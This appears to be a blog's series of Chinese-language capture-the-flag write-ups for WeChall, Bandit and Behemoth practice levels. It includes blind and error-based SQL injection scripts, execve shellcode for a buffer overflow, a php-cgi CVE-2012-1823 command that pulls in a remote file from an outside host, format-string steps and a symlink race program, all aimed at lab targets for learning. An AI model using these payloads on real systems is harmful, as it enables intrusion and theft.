Quantcast
Channel: 记事本
Viewing all 122 articles
Browse latest View live

Blinded by the light

$
0
0

http://www.wechall.net/challenge/blind_light/index.php
这道题是盲注,32位的HEX,正好用了128次query

下面是python代码

#!/usr/bin/env python2importurllibimporturllib2defmakePayload(statement):return"' or substring(password, %d, 1)%s'%s"%(statement[0],statement[1],statement[2])defcheckResponse(response):returnresponse.find("Welcome back")>0defdoAssert(statement):url='http://www.wechall.net/challenge/blind_light/index.php'values={'injection':makePayload(statement),'inject':'Inject'}data=urllib.urlencode(values)req=urllib2.Request(url,data)req.add_header('cookie','WC=7374566-11403-7iblKzppaCoukyl1')response=urllib2.urlopen(req)content=response.read()returncheckResponse(content)if__name__=="__main__":alphalist="0123456789ABCDEF"result=[]foridxinrange(1,33):start=0end=16#[start, end)while(start<end):#print("[%d, %d)" % (start, end))if(end-start==1):result.append(alphalist[start])breakelse:middle=(start+end)/2if(doAssert([idx,'<',alphalist[middle]])):end=middleelse:start=middleprint''.join(result)

Tracks

$
0
0

http://www.wechall.net/challenge/tracks/index.php
这道题我稀里糊涂的做出来了,还是没搞明白是怎么回事儿……

具体的,第二次投票会说已经投过。然后删除vote cookie,还是不行,再改了Etag就好了……貌似是和HTTP缓存有关?

Tropical Fruits

$
0
0

http://www.wechall.net/challenge/warchall/tropical/7/index.php
这道题overflow很明显,关键是怎样绕过ASLR。

到现在做了这些题目,总结下来要找漏洞的话,最好是能找到不自然的地方。这道题的不自然之处在具体溢出那里,用的是memcpystrlen,而一般来说复制字符串直接strcpy就够了。所以这里是关键,两种方法相比,memcpy不会在最后添null字符,这给了我们提示。另一方面,由于各个库的的地址都随机化了,所以我们用partial EIP overwrite,也就是只修改返回地址的低位。而正是由于memcpy我们才不用担心多余的null字符

具体的,随机化只是随机page, 在page内的offset还是不变的。page的大小是4k,也就是说地址的后三位不会被随机化。调用vulnfunc后的返回地址是0x08048540,我们修改最低位的那个byte,让返回到其他地方。这里我选择返回到0x08040563,其内容是ret

这样一来,从vulnfunc返回后,又调用一次ret,其效果是跳转到vulnfuncargv[1]那里。幸运的是argv[1]的内容正是我们提供的,这样就实现了exploit

下面是shellcode的汇编代码,由于/bin/sh被链接到/bin/bash了,所以我们需要-p选项来保持setgid

BITS32xoreax,eaxpusheaxmovedx,esp;envpushword0x702dmovecx,esp;-ppusheaxpushbyte0x68push0x7361622fpush0x6e69622fmovebx,esp;/bin/bashpusheaxpushecxpushebxmovecx,esp;argvmoval,11;execve("/bin/bash", ["/bin/bash", "-p", NULL], [NULL])int0x80

编译得到二进制文件,大小是35byte

buffer到返回地址的距离很容易得到,用a填充完后,最后一个byte是0x63,将返回地址的最低位改写:

$ ./level7 `perl -e 'print "\x31\xc0\x50\x89\xe2\x66\x68\x2d\x70\x89\xe1\x50\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x51\x53\x89\xe1\xb0\x0b\xcd\x80" . "a"x277 . "\x63"'`

Are your blind

$
0
0

http://www.wechall.net/challenge/Mawekl/are_you_blind/index.php
这道题还是盲注,32位的hash,128次跑完。这里我们用报错的方法来判断

下面是python代码

#!/usr/bin/env python2importurllibimporturllib2defmakePayload(statement):return"' or if(substring(password,%d,1)%s'%s',3,(select 1 union select 2))=3-- "%(statement[0],statement[1],statement[2])defcheckResponse(response):returnresponse.find("Database error")==-1defdoAssert(statement):url="http://www.wechall.net/challenge/Mawekl/are_you_blind/index.php"values={'injection':makePayload(statement),'inject':'Inject'}data=urllib.urlencode(values)req=urllib2.Request(url,data)req.add_header('cookie','WC=7374566-11403-7iblKzppaCoukyl1')response=urllib2.urlopen(req)content=response.read()returncheckResponse(content)if__name__=="__main__":alphalist="0123456789ABCDEF"result=[]foridxinrange(1,33):start=0end=16#[start, end)while(start<end):#print("[%d, %d)" % (start, end))if(end-start==1):result.append(alphalist[start])printalphalist[start]breakelse:middle=(start+end)/2if(doAssert([idx,'<',alphalist[middle]])):end=middleelse:start=middleprint''.join(result)

Light in the Darkness

$
0
0

http://www.wechall.net/challenge/Mawekl/light_in_the_darkness/index.php
这道题的错误会回显,而且限制要在2次query内得到答案,所以用error based:

' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2)))-- 

至于为什么这样会出错,可以看这里:
http://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do
简单地说,floor(rand(0)*2)会得到0,1,1,0……第2个和第3个重复的1会造成重复的group_key。而且我们需要一个行数大于3的表,所以选择information_schema

Can you read me

$
0
0

http://www.wechall.net/challenge/can_you_readme/index.php
这道题试了下没发现什么漏洞,所以只好老老实实地去做识别了

搜了下有tesseract这个软件可以做ocr,于是用下面的脚本:

#!/bin/bash

wget -O ocr.png --no-cookies --header "Cookie:WC=7390992-11403-6nnwUyENAALTe4VK"\
http://www.wechall.net/challenge/can_you_readme/gimme.php

tesseract ocr.png ocr -psm 7

SOLUTION=`head -1 ocr.txt`

curl -b "WC=7390992-11403-6nnwUyENAALTe4VK" -G -d "solution=$SOLUTION" -d "cmd=Answer"\
http://www.wechall.net/challenge/can_you_readme/index.php

hi

The Last Hope

$
0
0

http://www.wechall.net/challenge/bsdhell/thelasthope/index.php
这道题给了一个32位的ELF文件

首先试着运行,发现停住了,从IDA反汇编得到的代码可以得知有反调试之类的措施,于是我们必须先去掉那些干扰

参考这两篇文章:
http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html
http://www.exploit-db.com/papers/13234/
在调用main之前会调用.ctors中的函数。于是我们先查看.ctors:

lrk@laptop:~/tmp$ objdump -s -j .ctors ./bsd_thelasthope.elf
./bsd_thelasthope.elf:     file format elf32-i386
Contents of section .ctors:
 804af00 ffffffff 5b8c0408 00000000           ....[.......

其中0x08048c5b那里的函数会被调用,而检查发现那个函数是anti_ptrace,于是我们将0x0804af04处的值改为0xffffffff。这样就不会在__do_global_ctors_aux里调用anti_ptrace

接下来,看反汇编得到的代码

.text:08048D59                 call    anti_ptrace
.text:08048D5E                 mov     dword ptr [esp+4], offset handler ; handler
.text:08048D66                 mov     dword ptr [esp], 5 ; sig
.text:08048D6D                 call    _signal

同样,我们不要调用anti_ptrace,所以将0x08048d59处改为0x90 NOP;
另一方面,5是SIGTRAP的值,这是调试器用的,signal会将一个空函数注册到那个事件,我们不想那样,于是将0x08048d6d处也改为NOP

接下来还有反调试的代码:

.text:08048DA1                 mov     dword ptr [esp+0Ch], 0
.text:08048DA9                 mov     dword ptr [esp+8], 1
.text:08048DB1                 mov     dword ptr [esp+4], 0
.text:08048DB9                 mov     dword ptr [esp], 0 ; request
.text:08048DC0                 call    _ptrace
.text:08048DC5                 test    eax, eax
.text:08048DC7                 jns     short loc_8048DE1

这里我是将call _ptrace改为xor eax,eax

到此反调试的代码基本就解决了,然后是得到username和password

通过读几个函数,我们知道username的长度<=6,不包含大写字母,

U[3]%5 == 0 (candidates: 65, 70, 75, 80, 85, 90)
2^(U[2]-1)mod(U[2])==1 (prime number?)
2^(U[5]-1)mod(U[5])==1 (prime number?)
total = U[2]+U[3]+U[5]+13(U[0]+U[1]+U[4]) = 3285
U[0]=87
U[1]=72
U[4]=77

尝试几个素数,得到一个可行解为whoami

password要简单一些:

password: 13>=len>8 (len==10?)
l=[31,10,30,17,11,9,25,15,1,20,22,12,6,13,101]
encrypt: p ^ l => P
chomp: remove last byte(new line)
chomp(P)==Oxw|n]nfog

得到password为PrimeTwins


AUTH me

$
0
0

http://www.wechall.net/challenge/space/auth_me/index.php
仔细看了conf文件,把每个参数的意思都查了,还是没有发现什么漏洞

然后突然发现conf文件所在的路径,是在文件夹find_me下面。于是访问find_me,发现了需要用的客户端证书等文件

于是将p12导入firefox:

preferences->advanced->certificates->view certificates->your certificates->import

实际在导入的时候还要求密码,我不知道是什么,填了空密码,通过了……

Training: GPG

mysql字符串转为整数

$
0
0

http://www.freebuf.com/articles/web/6894.html

这里的原理是:”-”是字符串减字符串,而字符串会被转为0,就变成了0-0=0。然后再比较name和0,字符串name被转为0,得到0=0,条件成立

但这里条件是字符串name被转为0,如果name的第一个字符是数字而且不是0,那么就会被转成那个数字,此时条件不成立

另外,除了”-”,还可以”-0, ”+0, ”*0等等,只要使等号右边得到数字0就行

Impossible n’est pas français

$
0
0

http://www.wechall.net/challenge/impossible/index.php
这道题要求在6秒内分解一个超级大的整数,所以标题的名字都是”impossible”

这道题比较奇怪的一个地方是,如果你输入了错误的答案,他会把正确的答案告诉你,而这按理来说并不需要。于是从这里入手,发现即使答错,问题的整数还是没有变,这就给了我们再次尝试的机会。也就是说,先得到正确答案,然后在6秒之内再回答就行。

下面是python代码

#!/usr/bin/env python2importurllibimporturllib2importreif__name__=="__main__":url="http://www.wechall.net/challenge/impossible/index.php?request=new_number"req=urllib2.Request(url)req.add_header('cookie','WC=7436562-11403-u5AFYCNQVEgMepLw')response=urllib2.urlopen(req)url="http://www.wechall.net/challenge/impossible/index.php"values={'solution':1,'cmd':'Send'}data=urllib.urlencode(values)req=urllib2.Request(url,data)req.add_header('cookie','WC=7436562-11403-u5AFYCNQVEgMepLw')response=urllib2.urlopen(req)content=response.read()p=re.compile('Correct would have been &quot;(\d*)&')sol=p.search(content).group(1)printsolvalues={'solution':sol,'cmd':'Send'}data=urllib.urlencode(values)req=urllib2.Request(url,data)req.add_header('cookie','WC=7436562-11403-u5AFYCNQVEgMepLw')response=urllib2.urlopen(req)content=response.read()printcontent

Quangcurrency

$
0
0

http://www.wechall.net/challenge/quangcurrency/index.php
论坛里有提示,说是标题就是hint,从这个标题可以想到concurrency,虽然我是答完后看论坛才知道

具体的,click会将金额加1,也就是new = old + 1, set value = new;不自然的地方就在于,相比其他操作,click花的时间要长的多的多。所以,如果在click运行中buy,就有concurrency的隐患,也就是买完后click才结束,并将金额重置回之前的加1

于是我们先点click的链接,然后立即点buy的链接,这样就会引起并发的问题

Bandit

$
0
0
  • bandit0
    只需要ssh登陆即可,登陆后有文件readme
  • bandit1
    用刚才得到的密码登陆,要读一个文件名为-的文件。搜了下,开始有的说用--,这表示选项的结束,但我试了cat -- -不行,因为cat-当作是stdin了 后来搜,发现直接./-就可以
  • bandit2
    这次要读一个文件名包含空格的文件,直接用\ 就可以,实际上tab补全就这么做了……或者用引号把文件名括起来也可以

  • bandit3
    这次是一个隐藏文件,以dot开头的文件名
  • bandit4
    这次说文件是唯一一个人类可读的,于是用
    find inhere/ -type f -exec file {} \;
    发现唯一一个格式是ASCII的文件
  • bandit5
    这次给了几个限制,比如文件大小,执行权限等等。还是用find
    文件大小用选项-size 1033c,权限的话,-perm /111代表u或g或o有执行权限,! -perm /111代表均没有执行权限 最后用的命令是
    find inhere/ -type f -size 1033c ! -perm /111 -exec file {} \;

  • bandit6
    这次给了文件的用户名和组名,还是用find:
    find / -type f -user bandit7 -group bandit6 -size 33c 2>/dev/null

  • bandit7
    我是直接用grep搜的:
    grep millionth data.txt

  • bandit8
    先排序,再找唯一的一行:
    sort data.txt | uniq -u

  • bandit9
    先用strings找到所有可读的行,然后用sed去掉不是以=开头的行:
    strings data.txt | sed '/^[^=]/d'

  • bandit10
    linux下面直接就有base64解码
    base64 -d data.txt

  • bandit11
    python2有rot13编码

  • bandit12
    第一步是要把hex dump恢复:
    xdd -r data.txt data
    之后就不断解压缩,通过file来判断文件类型,用gzip -d, bzip2 -d, tar xf来解压缩
  • bandit13
    这道题直接给了私钥,可以登陆bandit14:
    ssh -i sshkey.private bandit14@localhost

  • bandit14
    要连接到本机的30000端口:
    echo 'BfMYroe26WYalil77FoDi9qh59eK5xNr' | nc 127.0.0.1 30000

  • bandit15
    这道题要用ssl连接。首先用
    openssl s_client -connect 127.0.0.1:30001
    输入密码后是什么heartbeating。正好有提示,因为我们的密码是以B开头的。再次加上quiet选项:
    openssl s_client -quiet -connect 127.0.0.1:30001
    然后输入密码即可
  • bandit16
    首先找到开着的端口:
    nmap -p31000-32000 -sV 127.0.0.1
    发现了几个,有些是echo,直接就不用管了,剩下的是要用ssl连的。一个个试发现31790是正确的。返回了一个私钥
  • bandit17
    直接比较两个文件
    diff -u password.*

  • bandit18
    登陆后会立刻登出,所以我们给ssh加上命令:
    ssh bandit18@bandit.labs.overthewire.org 'cat readme'

  • bandit19
    给了一个setuid的程序,会运行其他程序,于是我们写一个脚本来读密码文件,再用setuid的程序执行这个脚本即可。注意要用sh而不是bash,因为bash会忽略setuid

  • bandit20
    这道题要连两个终端上去,一个开nc监听
    echo "GbKksEFF4yrVs6il55v6gwY5aVje5f0j" | nc -l 34567
    另一个运行setuid的程序。然后nc那边就收到答案
  • bandit21
    cron.d下面找到文件cronjob_bandit22,阅读后发现密码会存到/tmp下的一个文件里,直接查看那个文件得到答案
  • bandit22
    同上一道题,阅读后发现也是将密码存到某文件里,文件名按照其构造方式得到:
    echo I am user bandit23 | md5sum | cut -d '' -f 1

  • bandit23
    同上,不过这次会定期执行某文件夹下的脚本。于是我们写一个读取密码的脚本放在其下。

Warchall: Live RCE

$
0
0

http://www.wechall.net/challenge/warchall/live_rce/index.php
这道题开始试了半天,发现没有注入什么的……然后在网上搜php rce,发现了有这个问题:CVE-2012-1823

根据解释,如果query string中不包含未urlencoded的等号,那么整个query会以空格分词,传给php-cgi。于是我们传-s,就会把php文件源码回显。试了http://rce.warchall.net/?-s,发现确实存在这个问题

然后我们就可以远程执行代码了

$ curl http://rce.warchall.net/?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2fnabla.users.warchall.net%2f1+-n

这里会重写php.ini,使http://nabla.users.warchall.net/1被包含,于是类似于rfi。最后发现答案在文件../config.php


Behemoth0

$
0
0

先用ida反编译,发现输入的密码要与一段字符串比较,而字符串是memfrob作用在几个数拼接起来的,即
0x475e4b4f,0x45425953,0x00595e58。先获取拼接得到的字符串:

echo -e "475e4b4f\n45425953\n595e58" | tac | xxd -r -p | rev

是OK^GSYBEX^Y

于是可获取密码:

print(''.join([chr(y) for y in [ord(x)^42 for x in 'OK^GSYBEX^Y']]))

密码是…。登陆后获得shell,可以读答案

或者把用hex

print(''.join(['\\x{:02x}'.format(y) for y in [ord(x)^42 for x in 'OK^GSYBEX^Y']]))

然后用perl输入

Behemoth1

$
0
0

这道题我开始试了半天想要invoke一个shell,都没成功。最后用的shellcode是读直接文件

首先,我们把shellcode存在环境变量里。

通过输出ebp地址,我们知道了其在xor esp, 0xfffffff0之前esp的值,进而知道输入的字符串距离返回地址的距离为79bytes

然后打印环境变量的地址,也就是shellcode的地址

我们把要读取的文件软链接到文件solution.txt,然后运行
perl -e 'print "A"x79 . "\xbc\xd8\xff\xff"' | /behemoth/behemoth1

Behemoth2

$
0
0

这道题第一次做好像还用的是race condition,这次直接就是用PATH了。因为执行的命令都不是绝对路径,我们在当前文件夹下创建一个touch:

#!/bin/sh
cat /etc/behemoth_pass/behemoth3

给他加上可执行权限,然后把当前路径(.)放在PATH的第一位。再执行behemoth2就会运行我们的touch

Behemoth3

$
0
0

这道题是format string。步骤还是那样:

  1. 输入一连串A,跟上一连串%x,由41的位置发现输入字符串是从第6个参数开始
  2. 把shellcode导入环境变量,打印EBP地址进而得到返回地址
  3. 将返回地址byte by byte作为输入字符串的起始,然后用%mx来填充调整已输出字符个数,用%m$hhn改写相应的byte,使返回地址最终指向shellcode

这道题有两个注意的地方

  1. 用的shellcode还是读文件的,invoke sh后什么都没发生,invoke bash会直接seg fault
  2. $在perl是特殊字符,所以用perl输入时要将其转义为\$

Behemoth4

$
0
0

这道题的程序执行后,会几乎立刻(1秒)去读一个文件,文件名和程序的pid有关。当然可以创建一大堆链接,都指向密码文件,链接名是所有可能的pid,但这样太费事儿

我们用fork,父进程可以得到子进程的pid,由此创建链接文件;子进程先sleep一段时间,以确保父进程先创建链接,然后子进程exec目标程序即可。因为pid不会随exec变,所以这也就是目标程序的pid

c代码如下

#include<stdio.h>#include<unistd.h>#include<stdlib.h>intmain(intargc,char*argv[]){pid_tpid;pid=fork();if(pid==-1){exit(1);}if(pid==0){sleep(2);char*argv[2]={"/behemoth/behemoth4",NULL};execv("/behemoth/behemoth4",argv);}else{charlink[32];snprintf(link,sizeoflink,"/tmp/%d",pid);symlink("/etc/behemoth_pass/behemoth5",link);intstatus;wait(&status);exit(0);}}
Viewing all 122 articles
Browse latest View live